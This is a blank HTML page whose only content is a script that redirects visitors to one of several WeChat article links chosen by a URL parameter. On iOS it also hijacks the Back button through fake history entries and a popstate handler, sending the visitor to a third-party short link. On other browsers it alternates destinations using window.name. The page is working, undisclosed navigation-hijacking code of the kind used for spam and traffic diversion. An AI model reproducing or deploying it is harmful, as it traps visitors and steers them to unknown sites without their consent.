<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta name="apple-touch-fullscreen" content="yes">
<meta name="apple-mobile-web-app-capable" content="yes">
<meta name="apple-mobile-web-app-status-bar-style" content="black">
<meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,minimum-scale=1,user-scalable=no">
<title></title>
</head>
<body onload = "machineStyle()">
<script type="text/javascript" src="http://code.jquery.com/jquery-latest.js"></script>
<script>
var hrefA = "111"
var jumpDict = [
				'http://mp.weixin.qq.com/s?__biz=MzU1MDk5OTI2Mg==&mid=100000001&idx=1&sn=7d099a59963f0a2987b78eb7c5472fac&chksm=7b9944b04ceecda632255a1e7245c30aa56775c58cb2702de44186761c7ab8fbe916ad2e6e1e#rd',
				
				'http://mp.weixin.qq.com/s?__biz=MzU2MDc5ODM2Mg==&mid=100000001&idx=1&sn=b14532b4bd7c0d07df8e7c1472038aa0&chksm=7c03cef44b7447e25203de615ad53e46adefbaa85d288701dd8327adda9a2abf2c40b186e6f9#rd',
				
				'http://mp.weixin.qq.com/s?__biz=MzU2NDc5NzIwMQ==&mid=100000001&idx=1&sn=246cf8c3ba9e8334abcf3f9321c6f19f&chksm=7c44cb7f4b334269e273cde67f3b4d7e942a8124b048740257051fba2846d01c883ab85fd569#rd',
                
				'http://mp.weixin.qq.com/s?__biz=Mzg4MDA2MjQzOA==&mid=100000001&idx=1&sn=f4fa864f6268976d5dfa5a4cfb53f161&chksm=4f7bbb88780c329e307cbf8143a79641ea13cdbe62af1a5bba22b192730a8aeccd8d372a7b77#rd',
                
				'http://mp.weixin.qq.com/s?__biz=MzU0ODk5OTE1Mw==&mid=100000001&idx=1&sn=3332d51cbf49e0b5b2cccb6612567c3d&chksm=7bb7db9f4cc05289cd2e2a781e9bfbc6fb6a526a36c76a514b80cdcc2720089c88a8a207cf65#rd',
                
				'http://mp.weixin.qq.com/s?__biz=MzU2MDc5ODM2Mg==&mid=100000001&idx=1&sn=b14532b4bd7c0d07df8e7c1472038aa0&chksm=7c03cef44b7447e25203de615ad53e46adefbaa85d288701dd8327adda9a2abf2c40b186e6f9#rd',
                
				'http://mp.weixin.qq.com/s?__biz=MzU3MTc5OTIwNg==&mid=100000001&idx=1&sn=96c06f9fd36422aca45727cf84fc8978&chksm=7cdbe2c84bac6bde4614e84ef33c6c8e4abfcd9b7f9d5e7c495a052a149da0d54c34a2c01f60#rd',
                
				'http://mp.weixin.qq.com/s?__biz=MzU2NDc5NzIwMQ==&mid=100000001&idx=1&sn=246cf8c3ba9e8334abcf3f9321c6f19f&chksm=7c44cb7f4b334269e273cde67f3b4d7e942a8124b048740257051fba2846d01c883ab85fd569#rd'

				]
var hrefB = "http://www.ecuz.cn/1001812/Cbrf9H"

  function getParam(paramName) { 
                paramValue = "", isFound = !1; 
                 if (this.location.search.indexOf("?") == 0 && this.location.search.indexOf("=") > 1) { 
                         arrSource = unescape(this.location.search).substring(1, this.location.search.length).split("&"), i = 0; 
                         while (i < arrSource.length && !isFound) arrSource[i].indexOf("=") > 0 && arrSource[i].split("=")[0].toLowerCase() == paramName.toLowerCase() && (paramValue = arrSource[i].split("=")[1], isFound = !0), i++ 
                } 
             return paramValue == "" && (paramValue = null), paramValue 
            } 
function loadNewView(){
		var getpara = getParam("viewNum")
        hrefA = jumpDict[getpara];
}
function machineStyle() {
	 loadNewView()
	 var getpara = getParam("viewNum")
	 console.log('对象22222',getpara,'链接',hrefA)
    var u = navigator.userAgent, app = navigator.appVersion;
    var isAndroid = u.indexOf('Android') > -1 || u.indexOf('Linux') > -1; //g
    var isIOS = !!u.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/); //ios终端
    if (isIOS) {
　　　bb()　
    }else{
	  aa()
	}
}
    function bb(){
		if (window.history && window.history.pushState) {
			$(window).on('popstate', function () {
				window.history.pushState('forward', null, '#');
				window.history.forward(1);
				window.location.href= hrefB;//执行操作
			});
		}
		window.history.pushState('forward', null, '#'); //在IE中必须得有这两行
		window.history.forward(1);
	    setTimeout('tiaozhuanA()',500)
	}
	function aa(){
    	if(window.name=="new"){
			window.name="";	
			 setTimeout('tiaozhuanB()',500) 
			 
  	  	}else{
			 window.name="new";	
			 setTimeout('tiaozhuanA()',500)    	
   	   }
	}
    function tiaozhuanA() {
       
        location.href= hrefA;
	}
	function tiaozhuanB() {
        location.href= hrefB;  
	}
</script>
</body>
</html>